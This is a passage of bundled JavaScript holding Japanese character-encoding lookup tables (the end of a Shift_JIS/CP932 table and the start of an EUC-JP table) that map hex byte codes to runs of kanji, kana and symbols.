"梳栫桙档桷桿梟梏梭梔條梛梃檮梹桴梵梠梺椏梍桾椁棊椈棘椢椦棡椌棍棔棧棕椶椒椄棗棣椥棹棠棯椨椪椚椣椡棆楹楷楜楸楫楔楾楮椹楴椽楙椰楡楞楝榁楪榲榮槐榿槁槓榾槎寨槊槝榻槃榧樮榑榠榜榕榴槞槨樂樛槿權槹槲槧樅榱樞槭樔槫樊樒櫁樣樓橄樌橲樶橸橇橢橙橦橈樸樢檐檍檠檄檢檣"], ["9f40", "檗蘗檻櫃櫂檸檳檬櫞櫑櫟檪櫚櫪櫻欅蘖櫺欒欖鬱欟欸欷盜欹飮歇歃歉歐歙歔歛歟歡歸歹歿殀殄殃殍殘殕殞殤殪殫殯殲殱殳殷殼毆毋毓毟毬毫毳毯"], ["9f80", "麾氈氓气氛氤氣汞汕汢汪沂沍沚沁沛汾汨汳沒沐泄泱泓沽泗泅泝沮沱沾沺泛泯泙泪洟衍洶洫洽洸洙洵洳洒洌浣涓浤浚浹浙涎涕濤涅淹渕渊涵淇淦涸淆淬淞淌淨淒淅淺淙淤淕淪淮渭湮渮渙湲湟渾渣湫渫湶湍渟湃渺湎渤滿渝游溂溪溘滉溷滓溽溯滄溲滔滕溏溥滂溟潁漑灌滬滸滾漿滲漱滯漲滌"], ["e040", "漾漓滷澆潺潸澁澀潯潛濳潭澂潼潘澎澑濂潦澳澣澡澤澹濆澪濟濕濬濔濘濱濮濛瀉瀋濺瀑瀁瀏濾瀛瀚潴瀝瀘瀟瀰瀾瀲灑灣炙炒炯烱炬炸炳炮烟烋烝"], ["e080", "烙焉烽焜焙煥煕熈煦煢煌煖煬熏燻熄熕熨熬燗熹熾燒燉燔燎燠燬燧燵燼燹燿爍爐爛爨爭爬爰爲爻爼爿牀牆牋牘牴牾犂犁犇犒犖犢犧犹犲狃狆狄狎狒狢狠狡狹狷倏猗猊猜猖猝猴猯猩猥猾獎獏默獗獪獨獰獸獵獻獺珈玳珎玻珀珥珮珞璢琅瑯琥珸琲琺瑕琿瑟瑙瑁瑜瑩瑰瑣瑪瑶瑾璋璞璧瓊瓏瓔珱"], ["e140", "瓠瓣瓧瓩瓮瓲瓰瓱瓸瓷甄甃甅甌甎甍甕甓甞甦甬甼畄畍畊畉畛畆畚畩畤畧畫畭畸當疆疇畴疊疉疂疔疚疝疥疣痂疳痃疵疽疸疼疱痍痊痒痙痣痞痾痿"], ["e180", "痼瘁痰痺痲痳瘋瘍瘉瘟瘧瘠瘡瘢瘤瘴瘰瘻癇癈癆癜癘癡癢癨癩癪癧癬癰癲癶癸發皀皃皈皋皎皖皓皙皚皰皴皸皹皺盂盍盖盒盞盡盥盧盪蘯盻眈眇眄眩眤眞眥眦眛眷眸睇睚睨睫睛睥睿睾睹瞎瞋瞑瞠瞞瞰瞶瞹瞿瞼瞽瞻矇矍矗矚矜矣矮矼砌砒礦砠礪硅碎硴碆硼碚碌碣碵碪碯磑磆磋磔碾碼磅磊磬"], ["e240", "磧磚磽磴礇礒礑礙礬礫祀祠祗祟祚祕祓祺祿禊禝禧齋禪禮禳禹禺秉秕秧秬秡秣稈稍稘稙稠稟禀稱稻稾稷穃穗穉穡穢穩龝穰穹穽窈窗窕窘窖窩竈窰"], ["e280", "窶竅竄窿邃竇竊竍竏竕竓站竚竝竡竢竦竭竰笂笏笊笆笳笘笙笞笵笨笶筐筺笄筍笋筌筅筵筥筴筧筰筱筬筮箝箘箟箍箜箚箋箒箏筝箙篋篁篌篏箴篆篝篩簑簔篦篥籠簀簇簓篳篷簗簍篶簣簧簪簟簷簫簽籌籃籔籏籀籐籘籟籤籖籥籬籵粃粐粤粭粢粫粡粨粳粲粱粮粹粽糀糅糂糘糒糜糢鬻糯糲糴糶糺紆"], ["e340", "紂紜紕紊絅絋紮紲紿紵絆絳絖絎絲絨絮絏絣經綉絛綏絽綛綺綮綣綵緇綽綫總綢綯緜綸綟綰緘緝緤緞緻緲緡縅縊縣縡縒縱縟縉縋縢繆繦縻縵縹繃縷"], ["e380", "縲縺繧繝繖繞繙繚繹繪繩繼繻纃緕繽辮繿纈纉續纒纐纓纔纖纎纛纜缸缺罅罌罍罎罐网罕罔罘罟罠罨罩罧罸羂羆羃羈羇羌羔羞羝羚羣羯羲羹羮羶羸譱翅翆翊翕翔翡翦翩翳翹飜耆耄耋耒耘耙耜耡耨耿耻聊聆聒聘聚聟聢聨聳聲聰聶聹聽聿肄肆肅肛肓肚肭冐肬胛胥胙胝胄胚胖脉胯胱脛脩脣脯腋"], ["e440", "隋腆脾腓腑胼腱腮腥腦腴膃膈膊膀膂膠膕膤膣腟膓膩膰膵膾膸膽臀臂膺臉臍臑臙臘臈臚臟臠臧臺臻臾舁舂舅與舊舍舐舖舩舫舸舳艀艙艘艝艚艟艤"], ["e480", "艢艨艪艫舮艱艷艸艾芍芒芫芟芻芬苡苣苟苒苴苳苺莓范苻苹苞茆苜茉苙茵茴茖茲茱荀茹荐荅茯茫茗茘莅莚莪莟莢莖茣莎莇莊荼莵荳荵莠莉莨菴萓菫菎菽萃菘萋菁菷萇菠菲萍萢萠莽萸蔆菻葭萪萼蕚蒄葷葫蒭葮蒂葩葆萬葯葹萵蓊葢蒹蒿蒟蓙蓍蒻蓚蓐蓁蓆蓖蒡蔡蓿蓴蔗蔘蔬蔟蔕蔔蓼蕀蕣蕘蕈"], ["e540", "蕁蘂蕋蕕薀薤薈薑薊薨蕭薔薛藪薇薜蕷蕾薐藉薺藏薹藐藕藝藥藜藹蘊蘓蘋藾藺蘆蘢蘚蘰蘿虍乕虔號虧虱蚓蚣蚩蚪蚋蚌蚶蚯蛄蛆蚰蛉蠣蚫蛔蛞蛩蛬"], ["e580", "蛟蛛蛯蜒蜆蜈蜀蜃蛻蜑蜉蜍蛹蜊蜴蜿蜷蜻蜥蜩蜚蝠蝟蝸蝌蝎蝴蝗蝨蝮蝙蝓蝣蝪蠅螢螟螂螯蟋螽蟀蟐雖螫蟄螳蟇蟆螻蟯蟲蟠蠏蠍蟾蟶蟷蠎蟒蠑蠖蠕蠢蠡蠱蠶蠹蠧蠻衄衂衒衙衞衢衫袁衾袞衵衽袵衲袂袗袒袮袙袢袍袤袰袿袱裃裄裔裘裙裝裹褂裼裴裨裲褄褌褊褓襃褞褥褪褫襁襄褻褶褸襌褝襠襞"], ["e640", "襦襤襭襪襯襴襷襾覃覈覊覓覘覡覩覦覬覯覲覺覽覿觀觚觜觝觧觴觸訃訖訐訌訛訝訥訶詁詛詒詆詈詼詭詬詢誅誂誄誨誡誑誥誦誚誣諄諍諂諚諫諳諧"], ["e680", "諤諱謔諠諢諷諞諛謌謇謚諡謖謐謗謠謳鞫謦謫謾謨譁譌譏譎證譖譛譚譫譟譬譯譴譽讀讌讎讒讓讖讙讚谺豁谿豈豌豎豐豕豢豬豸豺貂貉貅貊貍貎貔豼貘戝貭貪貽貲貳貮貶賈賁賤賣賚賽賺賻贄贅贊贇贏贍贐齎贓賍贔贖赧赭赱赳趁趙跂趾趺跏跚跖跌跛跋跪跫跟跣跼踈踉跿踝踞踐踟蹂踵踰踴蹊"], ["e740", "蹇蹉蹌蹐蹈蹙蹤蹠踪蹣蹕蹶蹲蹼躁躇躅躄躋躊躓躑躔躙躪躡躬躰軆躱躾軅軈軋軛軣軼軻軫軾輊輅輕輒輙輓輜輟輛輌輦輳輻輹轅轂輾轌轉轆轎轗轜"], ["e780", "轢轣轤辜辟辣辭辯辷迚迥迢迪迯邇迴逅迹迺逑逕逡逍逞逖逋逧逶逵逹迸遏遐遑遒逎遉逾遖遘遞遨遯遶隨遲邂遽邁邀邊邉邏邨邯邱邵郢郤扈郛鄂鄒鄙鄲鄰酊酖酘酣酥酩酳酲醋醉醂醢醫醯醪醵醴醺釀釁釉釋釐釖釟釡釛釼釵釶鈞釿鈔鈬鈕鈑鉞鉗鉅鉉鉤鉈銕鈿鉋鉐銜銖銓銛鉚鋏銹銷鋩錏鋺鍄錮"], ["e840", "錙錢錚錣錺錵錻鍜鍠鍼鍮鍖鎰鎬鎭鎔鎹鏖鏗鏨鏥鏘鏃鏝鏐鏈鏤鐚鐔鐓鐃鐇鐐鐶鐫鐵鐡鐺鑁鑒鑄鑛鑠鑢鑞鑪鈩鑰鑵鑷鑽鑚鑼鑾钁鑿閂閇閊閔閖閘閙"], ["e880", "閠閨閧閭閼閻閹閾闊濶闃闍闌闕闔闖關闡闥闢阡阨阮阯陂陌陏陋陷陜陞陝陟陦陲陬隍隘隕隗險隧隱隲隰隴隶隸隹雎雋雉雍襍雜霍雕雹霄霆霈霓霎霑霏霖霙霤霪霰霹霽霾靄靆靈靂靉靜靠靤靦靨勒靫靱靹鞅靼鞁靺鞆鞋鞏鞐鞜鞨鞦鞣鞳鞴韃韆韈韋韜韭齏韲竟韶韵頏頌頸頤頡頷頽顆顏顋顫顯顰"], ["e940", "顱顴顳颪颯颱颶飄飃飆飩飫餃餉餒餔餘餡餝餞餤餠餬餮餽餾饂饉饅饐饋饑饒饌饕馗馘馥馭馮馼駟駛駝駘駑駭駮駱駲駻駸騁騏騅駢騙騫騷驅驂驀驃"], ["e980", "騾驕驍驛驗驟驢驥驤驩驫驪骭骰骼髀髏髑髓體髞髟髢髣髦髯髫髮髴髱髷髻鬆鬘鬚鬟鬢鬣鬥鬧鬨鬩鬪鬮鬯鬲魄魃魏魍魎魑魘魴鮓鮃鮑鮖鮗鮟鮠鮨鮴鯀鯊鮹鯆鯏鯑鯒鯣鯢鯤鯔鯡鰺鯲鯱鯰鰕鰔鰉鰓鰌鰆鰈鰒鰊鰄鰮鰛鰥鰤鰡鰰鱇鰲鱆鰾鱚鱠鱧鱶鱸鳧鳬鳰鴉鴈鳫鴃鴆鴪鴦鶯鴣鴟鵄鴕鴒鵁鴿鴾鵆鵈"], ["ea40", "鵝鵞鵤鵑鵐鵙鵲鶉鶇鶫鵯鵺鶚鶤鶩鶲鷄鷁鶻鶸鶺鷆鷏鷂鷙鷓鷸鷦鷭鷯鷽鸚鸛鸞鹵鹹鹽麁麈麋麌麒麕麑麝麥麩麸麪麭靡黌黎黏黐黔黜點黝黠黥黨黯"], ["ea80", "黴黶黷黹黻黼黽鼇鼈皷鼕鼡鼬鼾齊齒齔齣齟齠齡齦齧齬齪齷齲齶龕龜龠堯槇遙瑤凜熙"], ["ed40", "纊褜鍈銈蓜俉炻昱棈鋹曻彅丨仡仼伀伃伹佖侒侊侚侔俍偀倢俿倞偆偰偂傔僴僘兊兤冝冾凬刕劜劦勀勛匀匇匤卲厓厲叝﨎咜咊咩哿喆坙坥垬埈埇﨏"], ["ed80", "塚增墲夋奓奛奝奣妤妺孖寀甯寘寬尞岦岺峵崧嵓﨑嵂嵭嶸嶹巐弡弴彧德忞恝悅悊惞惕愠惲愑愷愰憘戓抦揵摠撝擎敎昀昕昻昉昮昞昤晥晗晙晴晳暙暠暲暿曺朎朗杦枻桒柀栁桄棏﨓楨﨔榘槢樰橫橆橳橾櫢櫤毖氿汜沆汯泚洄涇浯涖涬淏淸淲淼渹湜渧渼溿澈澵濵瀅瀇瀨炅炫焏焄煜煆煇凞燁燾犱"], ["ee40", "犾猤猪獷玽珉珖珣珒琇珵琦琪琩琮瑢璉璟甁畯皂皜皞皛皦益睆劯砡硎硤硺礰礼神祥禔福禛竑竧靖竫箞精絈絜綷綠緖繒罇羡羽茁荢荿菇菶葈蒴蕓蕙"], ["ee80", "蕫﨟薰蘒﨡蠇裵訒訷詹誧誾諟諸諶譓譿賰賴贒赶﨣軏﨤逸遧郞都鄕鄧釚釗釞釭釮釤釥鈆鈐鈊鈺鉀鈼鉎鉙鉑鈹鉧銧鉷鉸鋧鋗鋙鋐﨧鋕鋠鋓錥錡鋻﨨錞鋿錝錂鍰鍗鎤鏆鏞鏸鐱鑅鑈閒隆﨩隝隯霳霻靃靍靏靑靕顗顥飯飼餧館馞驎髙髜魵魲鮏鮱鮻鰀鵰鵫鶴鸙黑"], ["eeef", "ⅰ", 9, "¬¦'""], ["f040", "", 62], ["f080", "", 124], ["f140", "", 62], ["f180", "", 124], ["f240", "", 62], ["f280", "", 124], ["f340", "", 62], ["f380", "", 124], ["f440", "", 62], ["f480", "", 124], ["f540", "", 62], ["f580", "", 124], ["f640", "", 62], ["f680", "", 124], ["f740", "", 62], ["f780", "", 124], ["f840", "", 62], ["f880", "", 124], ["f940", ""], ["fa40", "ⅰ", 9, "Ⅰ", 9, "¬¦'"㈱№℡∵纊褜鍈銈蓜俉炻昱棈鋹曻彅丨仡仼伀伃伹佖侒侊侚侔俍偀倢俿倞偆偰偂傔僴僘兊"], ["fa80", "兤冝冾凬刕劜劦勀勛匀匇匤卲厓厲叝﨎咜咊咩哿喆坙坥垬埈埇﨏塚增墲夋奓奛奝奣妤妺孖寀甯寘寬尞岦岺峵崧嵓﨑嵂嵭嶸嶹巐弡弴彧德忞恝悅悊惞惕愠惲愑愷愰憘戓抦揵摠撝擎敎昀昕昻昉昮昞昤晥晗晙晴晳暙暠暲暿曺朎朗杦枻桒柀栁桄棏﨓楨﨔榘槢樰橫橆橳橾櫢櫤毖氿汜沆汯泚洄涇浯"], ["fb40", "涖涬淏淸淲淼渹湜渧渼溿澈澵濵瀅瀇瀨炅炫焏焄煜煆煇凞燁燾犱犾猤猪獷玽珉珖珣珒琇珵琦琪琩琮瑢璉璟甁畯皂皜皞皛皦益睆劯砡硎硤硺礰礼神"], ["fb80", "祥禔福禛竑竧靖竫箞精絈絜綷綠緖繒罇羡羽茁荢荿菇菶葈蒴蕓蕙蕫﨟薰蘒﨡蠇裵訒訷詹誧誾諟諸諶譓譿賰賴贒赶﨣軏﨤逸遧郞都鄕鄧釚釗釞釭釮釤釥鈆鈐鈊鈺鉀鈼鉎鉙鉑鈹鉧銧鉷鉸鋧鋗鋙鋐﨧鋕鋠鋓錥錡鋻﨨錞鋿錝錂鍰鍗鎤鏆鏞鏸鐱鑅鑈閒隆﨩隝隯霳霻靃靍靏靑靕顗顥飯飼餧館馞驎髙"], ["fc40", "髜魵魲鮏鮱鮻鰀鵰鵫鶴鸙黑"]]
    }, function (t, e) {
        t.exports = [["0", "\0", 127], ["8ea1", "。", 62], ["a1a1", " 、。,.・:;?!゛゜´`¨^ ̄_ヽヾゝゞ〃仝々〆〇ー―‐/\~∥|…‥‘’“”()〔〕[]{}〈", 9, "+-±×÷=≠<>≦≧∞∴♂♀°′″℃¥$¢£%#&*@§☆★○●◎◇"], ["a2a1", "◆□■△▲▽▼※〒→←↑↓〓"], ["a2ba", "∈∋⊆⊇⊂⊃∪∩"], ["a2ca", "∧∨¬⇒⇔∀∃"], ["a2dc", "∠⊥⌒∂∇≡≒≪≫√∽∝∵∫∬"], ["a2f2", "ʼn♯♭♪†‡¶"], ["a2fe", "◯"], ["a3b0", "0", 9], ["a3c1", "A", 25], ["a3e1", "a", 25], ["a4a1", "ぁ", 82], ["a5a1", "ァ", 85], ["a6a1", "Α", 16, "Σ", 6], ["a6c1", "α", 16, "σ", 6], ["a7a1", "А", 5, "ЁЖ", 25], ["a7d1", "а", 5, "ёж", 25], ["a8a1", "─│┌┐┘└├┬┤┴┼━┃┏┓┛┗┣┳┫┻╋┠┯┨┷┿┝┰┥┸╂"], ["ada1", "①", 19, "Ⅰ", 9], ["adc0", "㍉㌔㌢㍍㌘㌧㌃㌶㍑㍗㌍㌦㌣㌫㍊㌻㎜㎝㎞㎎㎏㏄㎡"], ["addf", "㍻〝〟№㏍℡㊤", 4, "㈱㈲㈹㍾㍽㍼≒≡∫∮∑√⊥∠∟⊿∵∩∪"], ["b0a1", "亜唖娃阿哀愛挨姶逢葵茜穐悪握渥旭葦芦鯵梓圧斡扱宛姐虻飴絢綾鮎或粟袷安庵按暗案闇鞍杏以伊位依偉囲夷委威尉惟意慰易椅為畏異移維緯胃萎衣謂違遺医井亥域育郁磯一壱溢逸稲茨芋鰯允印咽員因姻引飲淫胤蔭"], ["b1a1", "院陰隠韻吋右宇烏羽迂雨卯鵜窺丑碓臼渦嘘唄欝蔚鰻姥厩浦瓜閏噂云運雲荏餌叡営嬰影映曳栄永泳洩瑛盈穎頴英衛詠鋭液疫益駅悦謁越閲榎厭円園堰奄宴延怨掩援沿演炎焔煙燕猿縁艶苑薗遠鉛鴛塩於汚甥凹央奥往応"], ["b2a1", "押旺横欧殴王翁襖鴬鴎黄岡沖荻億屋憶臆桶牡乙俺卸恩温穏音下化仮何伽価佳加可嘉夏嫁家寡科暇果架歌河火珂禍禾稼箇花苛茄荷華菓蝦課嘩貨迦過霞蚊俄峨我牙画臥芽蛾賀雅餓駕介会解回塊壊廻快怪悔恢懐戒拐改"], ["b3a1", "魁晦械海灰界皆絵芥蟹開階貝凱劾外咳害崖慨概涯碍蓋街該鎧骸浬馨蛙垣柿蛎鈎劃嚇各廓拡撹格核殻獲確穫覚角赫較郭閣隔革学岳楽額顎掛笠樫橿梶鰍潟割喝恰括活渇滑葛褐轄且鰹叶椛樺鞄株兜竃蒲釜鎌噛鴨栢茅萱"], ["b4a1", "粥刈苅瓦乾侃冠寒刊勘勧巻喚堪姦完官寛干幹患感慣憾換敢柑桓棺款歓汗漢澗潅環甘監看竿管簡緩缶翰肝艦莞観諌貫還鑑間閑関陥韓館舘丸含岸巌玩癌眼岩翫贋雁頑顔願企伎危喜器基奇嬉寄岐希幾忌揮机旗既期棋棄"], ["b5a1", "機帰毅気汽畿祈季稀紀徽規記貴起軌輝飢騎鬼亀偽儀妓宜戯技擬欺犠疑祇義蟻誼議掬菊鞠吉吃喫桔橘詰砧杵黍却客脚虐逆丘久仇休及吸宮弓急救朽求汲泣灸球究窮笈級糾給旧牛去居巨拒拠挙渠虚許距鋸漁禦魚亨享京"], ["b6a1", "供侠僑兇競共凶協匡卿叫喬境峡強彊怯恐恭挟教橋況狂狭矯胸脅興蕎郷鏡響饗驚仰凝尭暁業局曲極玉桐粁僅勤均巾錦斤欣欽琴禁禽筋緊芹菌衿襟謹近金吟銀九倶句区狗玖矩苦躯駆駈駒具愚虞喰空偶寓遇隅串櫛釧屑屈"], ["b7a1", "掘窟沓靴轡窪熊隈粂栗繰桑鍬勲君薫訓群軍郡卦袈祁係傾刑兄啓圭珪型契形径恵慶慧憩掲携敬景桂渓畦稽系経継繋罫茎荊蛍計詣警軽頚鶏芸迎鯨劇戟撃激隙桁傑欠決潔穴結血訣月件倹倦健兼券剣喧圏堅嫌建憲懸拳捲"], ["b8a1", "検権牽犬献研硯絹県肩見謙賢軒遣鍵険顕験鹸元原厳幻弦減源玄現絃舷言諺限乎個古呼固姑孤己庫弧戸故枯湖狐糊袴股胡菰虎誇跨鈷雇顧鼓五互伍午呉吾娯後御悟梧檎瑚碁語誤護醐乞鯉交佼侯候倖光公功効勾厚口向"], ["b9a1", "后喉坑垢好孔孝宏工巧巷幸広庚康弘恒慌抗拘控攻昂晃更杭校梗構江洪浩港溝甲皇硬稿糠紅紘絞綱耕考肯肱腔膏航荒行衡講貢購郊酵鉱砿鋼閤降項香高鴻剛劫号合壕拷濠豪轟麹克刻告国穀酷鵠黒獄漉腰甑忽惚骨狛込"], ["baa1", "此頃今困坤墾婚恨懇昏昆根梱混痕紺艮魂些佐叉唆嵯左差査沙瑳砂詐鎖裟坐座挫債催再最哉塞妻宰彩才採栽歳済災采犀砕砦祭斎細菜裁載際剤在材罪財冴坂阪堺榊肴咲崎埼碕鷺作削咋搾昨朔柵窄策索錯桜鮭笹匙冊刷"], ["bba1", "察拶撮擦札殺薩雑皐鯖捌錆鮫皿晒三傘参山惨撒散桟燦珊産算纂蚕讃賛酸餐斬暫残仕仔伺使刺司史嗣四士始姉姿子屍市師志思指支孜斯施旨枝止死氏獅祉私糸紙紫肢脂至視詞詩試誌諮資賜雌飼歯事似侍児字寺慈持時"], ["bca1", "次滋治爾璽痔磁示而耳自蒔辞汐鹿式識鴫竺軸宍雫七叱執失嫉室悉湿漆疾質実蔀篠偲柴芝屡蕊縞舎写射捨赦斜煮社紗者謝車遮蛇邪借勺尺杓灼爵酌釈錫若寂弱惹主取守手朱殊狩珠種腫趣酒首儒受呪寿授樹綬需囚収周"], ["bda1", "宗就州修愁拾洲秀秋終繍習臭舟蒐衆襲讐蹴輯週酋酬集醜什住充十従戎柔汁渋獣縦重銃叔夙宿淑祝縮粛塾熟出術述俊峻春瞬竣舜駿准循旬楯殉淳準潤盾純巡遵醇順処初所暑曙渚庶緒署書薯藷諸助叙女序徐恕鋤除傷償"], ["bea1", "勝匠升召哨商唱嘗奨妾娼宵将小少尚庄床廠彰承抄招掌捷昇昌昭晶松梢樟樵沼消渉湘焼焦照症省硝礁祥称章笑粧紹肖菖蒋蕉衝裳訟証詔詳象賞醤鉦鍾鐘障鞘上丈丞乗冗剰城場壌嬢常情擾条杖浄状畳穣蒸譲醸錠嘱埴飾"], ["bfa1", "拭植殖燭織職色触食蝕辱尻伸信侵唇娠寝審心慎振新晋森榛浸深申疹真神秦紳臣芯薪親診身辛進針震人仁刃塵壬尋甚尽腎訊迅陣靭笥諏須酢図厨逗吹垂帥推水炊睡粋翠衰遂酔錐錘随瑞髄崇嵩数枢趨雛据杉椙菅頗雀裾"], ["c0a1", "澄摺寸世瀬畝是凄制勢姓征性成政整星晴棲栖正清牲生盛精聖声製西誠誓請逝醒青静斉税脆隻席惜戚斥昔析石積籍績脊責赤跡蹟碩切拙接摂折設窃節説雪絶舌蝉仙先千占宣専尖川戦扇撰栓栴泉浅洗染潜煎煽旋穿箭線"], ["c1a1", "繊羨腺舛船薦詮賎践選遷銭銑閃鮮前善漸然全禅繕膳糎噌塑岨措曾曽楚狙疏疎礎祖租粗素組蘇訴阻遡鼠僧創双叢倉喪壮奏爽宋層匝惣想捜掃挿掻操早曹巣槍槽漕燥争痩相窓糟総綜聡草荘葬蒼藻装走送遭鎗霜騒像増憎"], ["c2a1", "臓蔵贈造促側則即息捉束測足速俗属賊族続卒袖其揃存孫尊損村遜他多太汰詑唾堕妥惰打柁舵楕陀駄騨体堆対耐岱帯待怠態戴替泰滞胎腿苔袋貸退逮隊黛鯛代台大第醍題鷹滝瀧卓啄宅托択拓沢濯琢託鐸濁諾茸凧蛸只"], ["c3a1", "叩但達辰奪脱巽竪辿棚谷狸鱈樽誰丹単嘆坦担探旦歎淡湛炭短端箪綻耽胆蛋誕鍛団壇弾断暖檀段男談値知地弛恥智池痴稚置致蜘遅馳築畜竹筑蓄逐秩窒茶嫡着中仲宙忠抽昼柱注虫衷註酎鋳駐樗瀦猪苧著貯丁兆凋喋寵"], ["c4a1", "帖帳庁弔張彫徴懲挑暢朝潮牒町眺聴脹腸蝶調諜超跳銚長頂鳥勅捗直朕沈珍賃鎮陳津墜椎槌追鎚痛通塚栂掴槻佃漬柘辻蔦綴鍔椿潰坪壷嬬紬爪吊釣鶴亭低停偵剃貞呈堤定帝底庭廷弟悌抵挺提梯汀碇禎程締艇訂諦蹄逓"], ["c5a1", "邸鄭釘鼎泥摘擢敵滴的笛適鏑溺哲徹撤轍迭鉄典填天展店添纏甜貼転顛点伝殿澱田電兎吐堵塗妬屠徒斗杜渡登菟賭途都鍍砥砺努度土奴怒倒党冬凍刀唐塔塘套宕島嶋悼投搭東桃梼棟盗淘湯涛灯燈当痘祷等答筒糖統到"], ["c6a1", "董蕩藤討謄豆踏逃透鐙陶頭騰闘働動同堂導憧撞洞瞳童胴萄道銅峠鴇匿得徳涜特督禿篤毒独読栃橡凸突椴届鳶苫寅酉瀞噸屯惇敦沌豚遁頓呑曇鈍奈那内乍凪薙謎灘捺鍋楢馴縄畷南楠軟難汝二尼弐迩匂賑肉虹廿日乳入"], ["c7a1", "如尿韮任妊忍認濡禰祢寧葱猫熱年念捻撚燃粘乃廼之埜嚢悩濃納能脳膿農覗蚤巴把播覇杷波派琶破婆罵芭馬俳廃拝排敗杯盃牌背肺輩配倍培媒梅楳煤狽買売賠陪這蝿秤矧萩伯剥博拍柏泊白箔粕舶薄迫曝漠爆縛莫駁麦"], ["c8a1", "函箱硲箸肇筈櫨幡肌畑畠八鉢溌発醗髪伐罰抜筏閥鳩噺塙蛤隼伴判半反叛帆搬斑板氾汎版犯班畔繁般藩販範釆煩頒飯挽晩番盤磐蕃蛮匪卑否妃庇彼悲扉批披斐比泌疲皮碑秘緋罷肥被誹費避非飛樋簸備尾微枇毘琵眉美"], ["c9a1", "鼻柊稗匹疋髭彦膝菱肘弼必畢筆逼桧姫媛紐百謬俵彪標氷漂瓢票表評豹廟描病秒苗錨鋲蒜蛭鰭品彬斌浜瀕貧賓頻敏瓶不付埠夫婦富冨布府怖扶敷斧普浮父符腐膚芙譜負賦赴阜附侮撫武舞葡蕪部封楓風葺蕗伏副復幅服"], ["caa1", "福腹複覆淵弗払沸仏物鮒分吻噴墳憤扮焚奮粉糞紛雰文聞丙併兵塀幣平弊柄並蔽閉陛米頁僻壁癖碧別瞥蔑箆偏変片篇編辺返遍便勉娩弁鞭保舗鋪圃捕歩甫補輔穂募墓慕戊暮母簿菩倣俸包呆報奉宝峰峯崩庖抱捧放方朋"], ["cba1", "法泡烹砲縫胞芳萌蓬蜂褒訪豊邦鋒飽鳳鵬乏亡傍剖坊妨帽忘忙房暴望某棒冒紡肪膨謀貌貿鉾防吠頬北僕卜墨撲朴牧睦穆釦勃没殆堀幌奔本翻凡盆摩磨魔麻埋妹昧枚毎哩槙幕膜枕鮪柾鱒桝亦俣又抹末沫迄侭繭麿万慢満"], ["cca1", "漫蔓味未魅巳箕岬密蜜湊蓑稔脈妙粍民眠務夢無牟矛霧鵡椋婿娘冥名命明盟迷銘鳴姪牝滅免棉綿緬面麺摸模茂妄孟毛猛盲網耗蒙儲木黙目杢勿餅尤戻籾貰問悶紋門匁也冶夜爺耶野弥矢厄役約薬訳躍靖柳薮鑓愉愈油癒"], ["cda1", "諭輸唯佑優勇友宥幽悠憂揖有柚湧涌猶猷由祐裕誘遊邑郵雄融夕予余与誉輿預傭幼妖容庸揚揺擁曜楊様洋溶熔用窯羊耀葉蓉要謡踊遥陽養慾抑欲沃浴翌翼淀羅螺裸来莱頼雷洛絡落酪乱卵嵐欄濫藍蘭覧利吏履李梨理璃"], ["cea1", "痢裏裡里離陸律率立葎掠略劉流溜琉留硫粒隆竜龍侶慮旅虜了亮僚両凌寮料梁涼猟療瞭稜糧良諒遼量陵領力緑倫厘林淋燐琳臨輪隣鱗麟瑠塁涙累類令伶例冷励嶺怜玲礼苓鈴隷零霊麗齢暦歴列劣烈裂廉恋憐漣煉簾練聯"], ["cfa1", "蓮連錬呂魯櫓炉賂路露労婁廊弄朗楼榔浪漏牢狼篭老聾蝋郎六麓禄肋録論倭和話歪賄脇惑枠鷲亙亘鰐詫藁蕨椀湾碗腕"], ["d0a1", "弌丐丕个丱丶丼丿乂乖乘亂亅豫亊舒弍于亞亟亠亢亰亳亶从仍仄仆仂仗仞仭仟价伉佚估佛佝佗佇佶侈侏侘佻佩佰侑佯來侖儘俔俟俎俘俛俑俚俐俤俥倚倨倔倪倥倅伜俶倡倩倬俾俯們倆偃假會偕偐偈做偖偬偸傀傚傅傴傲"], ["d1a1", "僉僊傳僂僖僞僥僭僣僮價僵儉儁儂儖儕儔儚儡儺儷儼儻儿兀兒兌兔兢竸兩兪兮冀冂囘册冉冏冑冓冕冖冤冦冢冩冪冫决冱冲冰况冽凅凉凛几處凩凭凰凵凾刄刋刔刎刧刪刮刳刹剏剄剋剌剞剔剪剴剩剳剿剽劍劔劒剱劈劑辨"], ["d2a1", "辧劬劭劼劵勁勍勗勞勣勦飭勠勳勵勸勹匆匈甸匍匐匏匕匚匣匯匱匳匸區卆卅丗卉卍凖卞卩卮夘卻卷厂厖厠厦厥厮厰厶參簒雙叟曼燮叮叨叭叺吁吽呀听吭吼吮吶吩吝呎咏呵咎呟呱呷呰咒呻咀呶咄咐咆哇咢咸咥咬哄哈咨"], ["d3a1", "咫哂咤咾咼哘哥哦唏唔哽哮哭哺哢唹啀啣啌售啜啅啖啗唸唳啝喙喀咯喊喟啻啾喘喞單啼喃喩喇喨嗚嗅嗟嗄嗜嗤嗔嘔嗷嘖嗾嗽嘛嗹噎噐營嘴嘶嘲嘸噫噤嘯噬噪嚆嚀嚊嚠嚔嚏嚥嚮嚶嚴囂嚼囁囃囀囈囎囑囓囗囮囹圀囿圄圉"], ["d4a1", "圈國圍圓團圖嗇圜圦圷圸坎圻址坏坩埀垈坡坿垉垓垠垳垤垪垰埃埆埔埒埓堊埖埣堋堙堝塲堡塢塋塰毀塒堽塹墅墹墟墫墺壞墻墸墮壅壓壑壗壙壘壥壜壤壟壯壺壹壻壼壽夂夊夐夛梦夥夬夭夲夸夾竒奕奐奎奚奘奢奠奧奬奩"], ["d5a1", "奸妁妝佞侫妣妲姆姨姜妍姙姚娥娟娑娜娉娚婀婬婉娵娶婢婪媚媼媾嫋嫂媽嫣嫗嫦嫩嫖嫺嫻嬌嬋嬖嬲嫐嬪嬶嬾孃孅孀孑孕孚孛孥孩孰孳孵學斈孺宀它宦宸寃寇寉寔寐寤實寢寞寥寫寰寶寳尅將專對尓尠尢尨尸尹屁屆屎屓"], ["d6a1", "屐屏孱屬屮乢屶屹岌岑岔妛岫岻岶岼岷峅岾峇峙峩峽峺峭嶌峪崋崕崗嵜崟崛崑崔崢崚崙崘嵌嵒嵎嵋嵬嵳嵶嶇嶄嶂嶢嶝嶬嶮嶽嶐嶷嶼巉巍巓巒巖巛巫已巵帋帚帙帑帛帶帷幄幃幀幎幗幔幟幢幤幇幵并幺麼广庠廁廂廈廐廏"], ["d7a1", 